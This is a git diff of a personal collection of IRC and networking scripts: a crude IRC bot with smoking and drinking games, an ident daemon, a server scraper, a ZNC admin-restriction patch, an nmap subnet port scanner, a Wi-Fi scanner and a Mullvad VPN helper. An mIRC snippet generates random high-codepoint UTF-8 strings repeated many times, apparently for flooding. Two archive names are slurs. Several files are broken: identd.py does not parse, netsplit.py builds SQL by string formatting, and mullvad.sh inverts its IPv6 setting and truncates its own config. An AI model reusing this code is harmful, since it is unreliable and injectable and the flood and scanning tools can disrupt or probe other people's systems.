+						Commands.sendmsg(chan, color(nick + ' you are already chuggin u wastoid!', light_green))
+					else:
+						Bot.nicks.append(nick)
+						Commands.sendmsg(chan, color(nick + ' joined the CHUG session!', light_green))
+				else:
+					if Bot.stats['sips'] <= 0:
+						Bot.stats['sips'] = 8
+						Bot.stats['chugged'] += 1
+						if Bot.stats['chugged'] == 24:
+							stats('chug','add')
+							Bot.stats['chugged'] = 0
+					for line in Generate.mug(Bot.stats['sips']):
+						Commands.sendmsg(chan, line)
+					Bot.stats['sips'] -= random.choice((1,2))
+			elif msg == '!dragrace' and not Bot.event:
+				threading.Thread(target=Games.drag_race).start()
+			elif msg == '!fatfuck' and luck(100):
+				Bot.fat = True
+				Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('AWWW SHIT, IT\'S TIME FOR THAT MARLBORO FATFUCK', black, green), color(' !!! ', red, green)))
+			elif msg == '!letschug' and not Bot.event:
+				threading.Thread(target=Games.chug, args=(nick,chan)).start()
+			elif msg == '!letstoke' and not Bot.event:
+				threading.Thread(target=Games.toke, args=(nick,chan)).start()
+			elif msg in ('!smoke','!toke'):
+				option = 'smoked' if msg == '!smoke' else 'toked'
+				if msg == '!toke' and Bot.event == 'letstoke':
+					if nick in Bot.nicks:
+						Commands.sendmsg(chan, color(nick + ' you are already toking u stoner!', light_green))
+					else:
+						Bot.nicks.append(nick)
+						Commands.sendmsg(chan, color(nick + ' joined the TOKE session!', light_green))
+				else:
+					if Bot.stats['hits'] <= 0:
+						Bot.stats['hits'] = 25
+						Bot.stats[option] += 1
+						if Bot.fat:
+							Bot.fat = False
+						if Bot.stats[option] == 20:
+							stats(option[:-1],'add')
+							Bot.stats[option] = 0
+						if Bot.event == 'chainsmoke' and msg == '!smoke':
+							Bot.nicks[nick] = Bot.nicks[nick]+1 if nick in Bot.nicks else 1
+							Bot.chain_smoked += 1
+						elif Bot.event == 'dragrace' and msg == '!smoke':
+							Commands.sendmsg(chan, 'It took {0} seconds for {1} to smoke a cigarette!'.format(color('{:.2f}'.format(time.time()-Bot.drag_race_start), light_blue), color(chan, white)))
+							Bot.event = None
+							Bot.drag_race_start = 0
+						elif luck(25):
+							Commands.kill(nick, f'CANCER KILLED {nick.upper()} - QUIT SMOKING TODAY! +1 800-QUIT-NOW')
+					else:
+						object = Generate.cigarette(Bot.stats['hits']) if msg == '!smoke' else Generate.joint(Bot.stats['hits'])
+						cigarette = Generate.cigarette(Bot.stats['hits'])
+						if Bot.fat:
+							Commands.sendmsg(chan, object)
+							Commands.sendmsg(chan, object)
+							Commands.sendmsg(chan, object)
+						else:
+							Commands.sendmsg(chan, object)
+						Bot.stats['hits'] -= random.choice((1,2))
+
+	def handle(data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			Commands.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			Events.connect()
+		elif args[1] == '433':
+			error('The bot is already running or nick is in use.')
+		elif args[1] == 'INVITE' and len(args) == 4:
+			invited = args[2]
+			chan    = args[3][1:]
+			if invited == nickname and chan == channel:
+				Commands.join_channel(channel, key)
+		elif args[1] == 'KICK' and len(args) >= 4:
+			chan   = args[2]
+			kicked = args[3]
+			if kicked == nickname and chan == channel:
+				time.sleep(3)
+				Commands.join_channel(channel, key)
+		elif args[1] == 'PART' and len(args) >= 3:
+			chan = args[2]
+			if chan == channel:
+				nick = args[0].split('!')[0][1:]
+				Commands.action(nick, f'blows smoke in {nick}\'s face...')
+		elif args[1] == 'PRIVMSG' and len(args) >= 4:
+			nick = args[0].split('!')[0][1:]
+			chan = args[2]
+			msg  = data.split(f'{args[0]} PRIVMSG {chan} :')[1]
+			if chan ==  channel:
+				Events.message(nick, chan, msg)
+
+class Games:
+	def chain_smoke(chan):
+		Bot.event  = 'chainsmoke'
+		Bot.status = False
+		Bot.nicks  = dict()
+		try:
+			Commands.notice(chan, 'Starting a round of {0} in {1} seconds!'.format(color('ChainSmoke', red), color('10', white)))
+			Commands.notice(chan, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. Once you finish a cigarette, a new one will be lit for you. You will have 60 seconds to chain smoke as many cigarettes as possible.', yellow)))
+			time.sleep(10)
+			Commands.action(chan, 'Round starts in 3...')
+			time.sleep(1)
+			Commands.action(chan, '2...')
+			time.sleep(1)
+			Commands.action(chan, '1...')
+			time.sleep(1)
+			Commands.action(chan, color('GO', light_green))
+			Bot.status = True
+			time.sleep(60)
+			Bot.status = False
+			Commands.sendmsg(chan, color('          CHAINSMOKE ROUND IS OVER          ', red, yellow))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('          CHAINSMOKE ROUND IS OVER          ', red, yellow))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('          CHAINSMOKE ROUND IS OVER          ', red, yellow))
+			Commands.sendmsg(chan, color('Counting cigarette butts...', yellow))
+			time.sleep(10)
+			Commands.sendmsg(chan, '{0} smoked {1} cigarettes!'.format(chan, color(str(Bot.chain_smoked), light_blue)))
+			if Bot.nicks:
+				guy = max(Bot.nicks, key=Bot.nicks.get)
+				Commands.sendmsg(chan, '{0} smoked the most cigarettes... {1}'.format(guy, Bot.nicks[guy]))
+		except Exception as ex:
+			error('Error occured in chain smoke event!', ex)
+		finally:
+			Bot.chain_smoked  = 0
+			Bot.nicks  = list()
+			Bot.event  = None
+			Bot.status = True
+
+	def chug(nick, chan):
+		Bot.event = 'letschug'
+		Bot.nicks.append(nick)
+		try:
+			Commands.sendmsg(chan, color(f'OH SHIT {nick} is drunk', light_green))
+			Commands.notice(chan, color(f'Time to TOTALLY CHUG in {chan.upper()} in 30 seconds, type !chug to join', light_green))
+			time.sleep(10)
+			Commands.sendmsg(chan, color('LOL we CHUG in 20 get ready ' + ' '.join(Bot.nicks), light_green))
+			time.sleep(10)
+			Commands.sendmsg(chan, color('YO we CHUG in 10 get ready ' + ' '.join(Bot.nicks), light_green))
+			time.sleep(5)
+			Commands.sendmsg(chan, color('alright CHUG in 5', light_green))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('4..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('3..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('2..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(chan, color('1..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(chan, color(' '.join(Bot.nicks) + ' .. CHUG!', light_green))
+		except Exception as ex:
+			error('Error occured in chug event!', ex)
+		finally:
+			Bot.event = None
+			Bot.nicks = list()
+
+	def drag_race():
+		Bot.event  = 'dragrace'
+		Bot.status = False
+		Bot.hits   = 25
+		try:
+			Commands.notice(channel, 'Starting a round of {0} in {1} seconds!'.format(color('DragRace', red), color('10', white)))
+			Commands.notice(channel, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. You will have 10 seconds to smoke as quickly as possible.', yellow)))
+			time.sleep(10)
+			Commands.action(channel, 'Round starts in 3...')
+			time.sleep(1)
+			Commands.action(channel, '2...')
+			time.sleep(1)
+			Commands.action(channel, '1...')
+			time.sleep(1)
+			Commands.action(channel, color('GO', light_green))
+			Bot.drag_race_start = time.time()
+		except Exception as ex:
+			error('Error occured in the drag race event!', ex)
+		finally:
+			Bot.status = True
+
+	def loop():
+		while True:
+			if get_time()[:-3] == '04:20':
+				try:
+					Commands.sendmsg(channel, color('S M O K E W E E D E R R D A Y', light_green))
+					Commands.sendmsg(channel, color('ITZ DAT MUTHA FUCKN 420 BITCH', yellow))
+					Commands.sendmsg(channel, color('LIGHT UP A NICE GOOD FAT FUCK', red))
+					time.sleep(43000)
+				except Exeption as ex:
+					error('Error occured in loop!', ex)
+			else:
+				time.sleep(30)
+
+	def toke(nick, chan):
+		Bot.event = 'letstoke'
+		Bot.nicks.append(nick)
+		try:
+			Commands.sendmsg(channel, color(f'YO {nick} is high', light_green))
+			Commands.notice(channel, color(f'Time to FUCKING toke in {chan.upper()}, type !toke to join', light_green))
+			time.sleep(10)
+			Commands.sendmsg(channel, color('OH SHIT we toke in 20 get ready ' + ' '.join(Bot.nicks), light_green))
+			time.sleep(10)
+			Commands.sendmsg(channel, color('OH SHIT we toke in 10 get ready ' + ' '.join(Bot.nicks), light_green))
+			time.sleep(5)
+			Commands.sendmsg(channel, color('alright toke in 5', light_green))
+			time.sleep(1)
+			Commands.sendmsg(channel, color('4..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(channel, color('3..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(channel, color('2..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(channel, color('1..', light_green))
+			time.sleep(1)
+			Commands.sendmsg(channel, color(' '.join(Bot.nicks) + ' .. toke!', light_green))
+		except Exception as ex:
+			error('Error occured in toke event!', ex)
+		finally:
+			Bot.event = None
+			Bot.nicks = list()
+
+class Generate:
+	def beer():
+		glass = color(' ', light_grey, light_grey)
+		return glass + color(''.join(random.choice(('       :.')) for _ in range(9)), orange, yellow) + glass
+
+	def cigarette(size):
+		filter    = color(';.`-,:.`;', yellow, orange)
+		cigarette = color('|'*size, light_grey, white)
+		cherry_a  = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
+		cherry_b  = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
+		smoke     = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
+		return filter + cigarette + cherry_a + cherry_b + smoke
+
+	def joint(size):
+		joint    = color('/'*size, light_grey, white)
+		cherry_a = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
+		cherry_b = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
+		smoke    = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
+		return joint + cherry_a + cherry_b + smoke
+
+	def mug(size):
+		glass  = color(' ', light_grey, light_grey)
+		empty  = f'{glass}         {glass}'
+		foam   = glass + color(':::::::::', light_grey, white) + glass
+		bottom = color('           ', light_grey, light_grey)
+		mug   = [foam,Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer()]
+		for i in range(8-size):
+			mug.pop()
+			mug.insert(0, empty)
+		for i in range(len(mug)):
+			if i == 2 or i == 7:
+				mug[i] += glass + glass
+			elif i > 2 and i < 7:
+				mug[i] += '  ' + glass
+		mug.append(bottom)
+		return mug
+
+# Main
+if use_ssl:
+	import ssl
+if not os.path.isfile(stat_file):
+	open(stat_file, 'w').write('0:0:0')
+Bot = IRC()
+Bot.run()
diff --git a/irc/gaymircd.tar.gz b/irc/gaymircd.tar.gz
Binary files differ.
diff --git a/irc/identd.py b/irc/identd.py
@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random)
+
+import os, re, socket, time
+
+def check_privledges():
+	return True if os.getuid() == 0 or os.geteuid() == 0 else return False
+
+def debug(msg):
+	print(f'{get_time()} {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def is_valid_port(port):
+	return True if port > 0 and port <= 65535 else return False
+
+class server(object):
+	def __init__(self, ipv6=False):
+		self.ipv6 = ipv6
+		self.sock = None
+
+	def _create_socket(self):
+		if self.ipv6:
+			self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+			self.sock.bind(('::', 113))
+		else:
+			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			sock.bind(('0.0.0.0', 113))
+		sock.listen(5)
+
+	def _drop_privledges(self):
+		os.setgroups([])
+		os.setgid(pwd.getpwnam('nobody').pw_gid)
+		os.setuid(pwd.getpwnam('nobody').pw_uid)
+
+	def _start(self):
+		self._create_socket()
+		if check_privledges():
+			self._drop_privledges()
+		self._listen()
+
+	def _listen(self):
+		while True:
+			client, addr = sock.accept()
+			data = client.recv(1024).decode('ascii').rstrip()
+			source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
+			debug(f'[REQUEST] {source_ip}: {data}')
+			response = self._parse_data(data)
+			client.send(f'{response}\r\n'.encode('ascii'))
+			debug(f'[ REPLY ] {source_ip}: {response}')
+			client.close()
+
+	def _parse_data(self, data):
+		if not re.match(r'(\d+).*,.*(\d+)', data):
+			return data + ' : ERROR : INVALID-PORT'
+		lport, rport = data.split(',')
+		lport = int(re.sub(r'\D', '', lport))
+		rport = int(re.sub(r'\D', '', rport))
+		if not is_valid_port(lport) or not is_valid_port(rport):
+			return data + ' : ERROR : INVALID-PORT'
+		return data + ' : USERID : UNIX : ' + username # RANDOM?
+\ No newline at end of file
diff --git a/irc/netsplit.py b/irc/netsplit.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random)
+
+import os
+import re
+import sqlite3
+import time
+import urllib.request
+
+# Settings
+throttle = 3
+
+# Globals
+db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db')
+db      = sqlite3.connect(db_file)
+sql     = db.cursor()
+
+def db_add(name, address, port, ssl):
+	sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl))
+	db.commit()
+
+def db_setup():
+	tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
+	if len(tables):
+		sql.execute('DROP TABLE SERVERS')
+	sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);')
+	db.commit()
+
+def get_source(url):
+	req = urllib.request.Request(url)
+	req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
+	source  = urllib.request.urlopen(req, timeout=15)
+	charset = source.headers.get_content_charset()
+	if charset:
+		return source.read().decode(charset)
+	else:
+		return source.read().decode()
+
+db_setup()
+source   = get_source('http://irc.netsplit.de/networks/')
+networks = re.findall('<a class=".*?" href="/networks/(.*?)/"', source, re.IGNORECASE|re.MULTILINE)
+print(f'[~] - Found {len(networks)} networks on NetSplit.')
+for network in networks:
+	source  = get_source('http://irc.netsplit.de/networks/status.php?net=' + network)
+	source  = source.replace('style=\'color:#666666;\'', '')
+	source  = source.replace('&#8203;', '')
+	while '  ' in source:
+		source  = source.replace('  ', ' ')
+	checker = re.findall('<td valign="top">.*?<br>((.*?))</td>', source, re.IGNORECASE|re.MULTILINE)
+	if checker:
+		servers = re.findall(r'<td valign="top">(.*?)<br>.*?</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
+	else:
+		servers = re.findall(r'<td valign="top">(.*?)</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
+	servers = list(set(servers))
+	for server in servers:
+		address = server[0].split(':')[0]
+		port    = int(server[0].split(':')[1])
+		if server[1] == 'off':
+			ssl = 0
+		else:
+			ssl = 1
+		db_add(network, address, port, ssl)
+		print('{0}{1}:{2}'.format(network.ljust(30), address, port))
+	time.sleep(throttle)
+\ No newline at end of file
diff --git a/irc/nigircd.tar.gz b/irc/nigircd.tar.gz
Binary files differ.
diff --git a/irc/unicode.msl b/irc/unicode.msl
@@ -0,0 +1,26 @@
+alias UTF81 {
+  if ($1 < 161) { return $chr($1) }
+  elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) }
+  elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) }
+  elseif ($len($base($1,10,2)) < 22) {
+    return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$&
+      $chr($calc(128 + [ $1 % 64 ] )))
+  }
+}
+alias -l div { return $int($calc($1 / $2)) }
+alias UTF8 {
+  if ($version >= 7) return $chr($1)
+  else {
+    var %x $base($1,10,2),%y $len(%x)
+    if ($1 < 161) { return $chr($1) }
+    elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) }
+    elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) }
+    elseif (%y < 22) {
+      return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6)))
+    }
+  }
+}
+
+$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+
+
+# ^ etc like 100+ times
diff --git a/irc/znc_isadmin_patch.diff b/irc/znc_isadmin_patch.diff
@@ -0,0 +1,175 @@
+user@linux ~/build/znc-acid $ git diff
+diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp
+index 0b7796aa..edd14420 100644
+--- a/modules/controlpanel.cpp
++++ b/modules/controlpanel.cpp
+@@ -319,12 +319,37 @@ class CAdminMod : public CModule {
+             pUser->SetAltNick(sValue);
+             PutModule("AltNick = " + sValue);
+         } else if (sVar == "ident") {
++
++            // Don't need them changing this, used to identify them.
++            if (!GetUser()->IsAdmin()) {
++                PutStatus(t_s(
++                    "You cannot do that."));
++                return;
++            }
++
+             pUser->SetIdent(sValue);
++
+             PutModule("Ident = " + sValue);
+         } else if (sVar == "realname") {
++
++            // Some BNC's put their link in the realname.
++            if (!GetUser()->IsAdmin()) {
++                PutStatus(t_s(
++                    "You cannot do that."));
++                return;
++            }
++
+             pUser->SetRealName(sValue);
+             PutModule("RealName = " + sValue);
+         } else if (sVar == "bindhost") {
++
++            // That code below is annoying. Just do this first.
++            if (!GetUser()->IsAdmin()) {
++                PutStatus(t_s(
++                    "You cannot do that."));
++                return;
++            }
++
+             if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) {
+                 if (sValue.Equals(pUser->GetBindHost())) {
+                     PutModule(t_s("This bind host is already set!"));
+@@ -607,9 +632,24 @@ class CAdminMod : public CModule {
+             pNetwork->SetAltNick(sValue);
+             PutModule("AltNick = " + pNetwork->GetAltNick());
+         } else if (sVar.Equals("ident")) {
++
++            // Don't need them changing this, used to identify them.
++            if (!GetUser()->IsAdmin()) {
++                PutStatus(t_s(
++                    "You cannot do that."));
++                return;
++            }
+             pNetwork->SetIdent(sValue);
+             PutModule("Ident = " + pNetwork->GetIdent());
+         } else if (sVar.Equals("realname")) {
++
++            // Some BNC's put their link in the realname.
++            if (!GetUser()->IsAdmin()) {
++                PutStatus(t_s(
++                    "You cannot do that."));
++                return;
++            }
++
+             pNetwork->SetRealName(sValue);
+             PutModule("RealName = " + pNetwork->GetRealName());
+         } else if (sVar.Equals("bindhost")) {
+@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule {
+         CString sNetwork = sLine.Token(2);
+         CUser* pUser = GetUser();
+ 
++        if (!GetUser()->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
+         if (sNetwork.empty()) {
+             sNetwork = sUser;
+         } else {
+@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule {
+         CString sNetwork = sLine.Token(2);
+         CUser* pUser = GetUser();
+ 
++        if (!GetUser()->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
++
+         if (sNetwork.empty()) {
+             sNetwork = sUser;
+         } else {
+@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule {
+         CString sNetwork = sLine.Token(2);
+         CString sServer = sLine.Token(3, true);
+ 
++        if (!GetUser()->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
++
+         if (sServer.empty()) {
+             PutModule(
+                 t_s("Usage: AddServer <username> <network> <server> [[+]port] "
+@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule {
+         unsigned short uPort = sLine.Token(4).ToUShort();
+         CString sPass = sLine.Token(5);
+ 
++        if (!GetUser()->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
++
+         if (sServer.empty()) {
+             PutModule(
+                 t_s("Usage: DelServer <username> <network> <server> [[+]port] "
+diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp
+index 44bcc324..81704ed1 100644
+--- a/src/ClientCommand.cpp
++++ b/src/ClientCommand.cpp
+@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) {
+         PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")(
+             vChans.size(), uNumJoined, uNumDetached, uNumDisabled));
+     } else if (sCommand.Equals("ADDNETWORK")) {
++
++        // Just them anyway.
++        if (!m_pUser->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
++
+         if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) {
+             PutStatus(t_s(
+                 "Network number limit reached. Ask an admin to increase the "
+@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) {
+     } else if (sCommand.Equals("DELNETWORK")) {
+         CString sNetwork = sLine.Token(1);
+ 
++        if (!m_pUser->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
++
+         if (sNetwork.empty()) {
+             PutStatus(t_s("Usage: DelNetwork <name>"));
+             return;
+@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) {
+     } else if (sCommand.Equals("ADDSERVER")) {
+         CString sServer = sLine.Token(1);
+ 
++        if (!m_pUser->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
+         if (!m_pNetwork) {
+             PutStatus(t_s(
+                 "You must be connected with a network to use this command"));
+@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) {
+                     "added or openssl is disabled?"));
+         }
+     } else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) {
++        if (!m_pUser->IsAdmin()) {
++            PutStatus(t_s(
++                "You cannot do that."));
++            return;
++        }
+         if (!m_pNetwork) {
+             PutStatus(t_s(
+                 "You must be connected with a network to use this command"));
+\ No newline at end of file
diff --git a/networking/ap.py b/networking/ap.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python
+import re, subprocess
+
+interface = 'wlp1s0'
+
+def between(source, start, stop):
+	data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source)
+	if data : return data.group(1)
+	else    : return False
+
+output = subprocess.check_output(f'sudo iwlist {interface} scanning  | egrep \'Cell |Channel|Frequency|Encryption|Quality|ESSID|Mode\'', shell=True).decode()
+access_points = output.split(' Cell ')[1:]
+print('\033[30m\033[47mMAC Address         Channel   Frequency   Quality   Signal    Mode     Encryption   ESSID\033[0m')
+for ap in access_points:
+	address    = between(ap, 'Address: ',             '\n')
+	channel    = between(ap, 'Channel:',              '\n').ljust(7)
+	frequency  = between(ap, 'Frequency:',          ' GHz')[:3]
+	quality    = between(ap, 'Quality=',        '  Signal')
+	signal     = between(ap, 'Signal level=',       ' dBm')
+	encryption = between(ap, 'Encryption key:',       '\n').ljust(10)
+	essid      = between(ap, 'ESSID:\"',            '\"\n')
+	mode       = between(ap, 'Mode:',                 '\n')
+	print(f'{address} | {channel} | {frequency} GHz   | {quality}   | {signal} dBm | {mode} | {encryption} | {essid}')
+\ No newline at end of file
diff --git a/networking/ddosmonit.sh b/networking/ddosmonit.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+interface=eth0
+dumpdir=/tmp/
+email="admin@domain.tld"
+subject="DDoS Notification: `hostname`"
+sender="admin@domain.tld"
+while /bin/true; do
+	pkt_old=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'`
+	sleep 1
+	pkt_new=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'`
+	pkt=$(( $pkt_new-$pkt_old ))
+	echo -ne "\r$pkt packets/s\033[0K"
+	if [ $pkt -gt 5000 ]; then
+		filename=$dumpdir/dump.`date +"%Y%m%d-%H%M%S"`.cap
+		tcpdump -n -s0 -c 2000 > $filename
+		echo "`date` Packets dumped, sleeping now."
+		sleep 1
+		data=`cat $filename`
+		sendmail -F $sender -it <<END_MESSAGE
+		To: $email
+		Subject: $subject
+		`cat $filename`
+		END_MESSAGE
+		echo "sendmail complete"
+		sleep 300
+	fi
+done
+\ No newline at end of file
diff --git a/networking/discover.py b/networking/discover.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+import subprocess
+
+def portscan(ip):
+	ports = list()
+	try:
+		cmd = subprocess.check_output('sudo nmap -F ' + ip, shell=True).decode()
+		output = cmd.split('SERVICE')[1].split('MAC')[0].split('\n')
+		for item in output:
+			port = item.split('/')[0]
+			if port and 'filtered' not in item:
+				ports.append(port)
+		return ports
+	except:
+		return None
+
+def scanhosts(subnet):
+	data = list()
+	matrix = {'ip':list(),'host':list(),'ports':list()}
+	cmd = subprocess.check_output(f'sudo nmap -sP {subnet}/24', shell=True).decode()
+	output = cmd.split('Nmap scan report for ')[1:-1]
+	for item in output:
+		ip    = item.split('\n')[0]
+		ports = portscan(ip)
+		ports = ', '.join(ports) if ports else 'N/A'
+		mac   = item.split('MAC Address: ')[1].split()[0]
+		host  = item.split(mac)[1].replace('(','').replace(')','')[1:-1]
+		matrix['ip'].append(ip)
+		matrix['host'].append(host)
+		matrix['ports'].append(ports)
+		data.append({'ip':ip,'mac':mac,'host':host,'ports':ports})
+	for item in matrix:
+		matrix[item] = len(max(matrix[item], key=len))
+	print('\033[30m\033[47m{0}   {1}   {2}   {3} \033[0m'.format('IP Address'.ljust(matrix['ip']), 'MAC Address      ', 'Hostname'.ljust(matrix['host']), 'Ports'.ljust(matrix['ports'])))
+	for item in data:
+		print('{0} | {1} | {2} | {3}'.format(item['ip'].ljust(matrix['ip']), item['mac'], item['host'].ljust(matrix['host']), item['ports']))
+
+scanhosts('10.0.0.0')
+\ No newline at end of file
diff --git a/networking/mullvad.sh b/networking/mullvad.sh
@@ -0,0 +1,171 @@
+#!/bin/bash
+
+DEFAULT_SERVER=0
+DISABLE_IPV6=1
+
+function disable_ipv6 {
+	sysctl -w net.ipv6.conf.all.disable_ipv6=0
+	sysctl -w net.ipv6.conf.default.disable_ipv6=0
+	sysctl -w net.ipv6.conf.lo.disable_ipv6=0
+}
+
+function generate_config {
+	if [ -f /etc/openvpn/client/mullvad/mullvad.conf ]; then
+		sed '14s/.*/remote ${1}.mullvad.net ${2}/' /etc/openvpn/client/mullvad/mullvad.conf > /etc/openvpn/client/mullvad/mullvad.conf
+	else
+		echo "auth-user-pass auth
+ca ca.crt
+cipher AES-256-CBC
+client
+comp-lzo
+crl-verify crl.pem
+dev tun
+nobind
+persist-key
+persist-tun
+ping 10
+ping-restart 60
+proto udp
+remote ${1}.mullvad.net ${2}
+remote-cert-tls server
+resolv-retry infinite
+tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
+tun-ipv6
+verb 3" > /etc/openvpn/client/mullvad/mullvad.conf
+	fi
+}
+
+function menu_auth {
+	ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty)
+	clear
+	echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth
+	chmod 600 /etc/openvpn/client/mullvad/auth
+	chown root:root /etc/openvpn/client/mullvad/auth
+}
+
+function menu_server {
+	if [ $DEFAULT_SERVER -eq 0 ]; then
+		OPTIONS=(1 "Random"
+			2  "Austria        (AT)"
+			3  "Australia      (AU)"
+			4  "Belgium        (BE)"
+			5  "Bulgaria       (BG)"
+			6  "Canada         (CA)"
+			7  "Canada         (CA) - Toronto"
+			8  "Canada         (CA) - Vancouver"
+			9  "Czech Republic (CZ)"
+			10 "Denmark	       (DK)"
+			11 "Germany	       (DE)"
+			12 "Germany	       (DE) - Berlin"
+			13 "Germany	       (DE) - Frankfurt"
+			14 "Finland	       (FI)"
+			15 "France	       (FR)"
+			16 "Hong Kong      (HK)"
+			17 "Hungary	       (HU)"
+			18 "Israel         (IL)"
+			19 "Italy          (IT)"
+			20 "Japan          (JP)"
+			21 "Moldova	       (MD)"
+			22 "Netherlands    (NL)"
+			23 "Norway	       (NO)"
+			24 "Poland 	       (PL)"
+			25 "Portugual	   (PT)"
+			26 "Romania	       (RO)"
+			27 "Singapore	   (SG)"
+			28 "Spain 	       (ES)"
+			29 "Sweden	       (SE)"
+			30 "Sweden	       (SE) - Helsingborg"
+			31 "Sweden	       (SE) - Malmö"
+			32 "Sweden	       (SE) - Stockholm"
+			33 "Switzerland	   (CH)"
+			34 "United Kingdom (GB)"
+			35 "United Kingdom (GB) - London"
+			36 "United Kingdom (GB) - Manchester"
+			37 "United States  (US)"
+			38 "United States  (US) - Arizona"
+			39 "United States  (US) - California"
+			40 "United States  (US) - Florida"
+			41 "United States  (US) - Georgia"
+			42 "United States  (US) - Illinois"
+			43 "United States  (US) - Nevada"
+			44 "United States  (US) - New Jersey"
+			45 "United States  (US) - New York"
+			46 "United States  (US) - Texas"
+			47 "United States  (US) - Utah"
+			48 "United States  (US) - Washington"
+			49 "United States  (US) - Washington DC")
